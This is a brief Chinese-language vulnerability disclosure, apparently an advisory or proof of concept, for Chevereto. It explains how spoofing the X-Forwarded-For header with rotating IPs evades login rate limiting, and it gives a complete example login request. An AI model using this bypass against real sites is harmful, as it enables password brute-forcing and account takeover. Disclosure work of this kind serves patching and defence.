Chevereto 1.0.0 至 1.1.4 Free 版及 3.13.5 Core 版中的 lib/G/functions.php 允许攻击者通过操纵请求中的 X-Forwarded-For 标头来执行暴力破解攻击,而不会触发已实现的保护机制。该标头中的 IP 必须每 25 次请求(默认 25 次)更改一次,以避免激活保护并封禁 IP(不过这并不重要)。
X-Forwarded-For: 8.8.8.1, 8.8.8.2
X-Forwarded-For: 8.8.8.2, 8.8.8.3
依此类推...
POST /login HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://192.168.0.88
DNT: 1
Connection: close
Referer: http://192.168.0.88/login
X-Forwarded-For: 8.8.8.228, 8.8.8.88
Cookie: PHPSESSID=16dal7t7fmdbd86ahjkp8qo43a
Upgrade-Insecure-Requests: 1
login-subject=admin&password=test&auth_token=fb22558fc0f068d3cfb9ca98b413c8d0adbbc205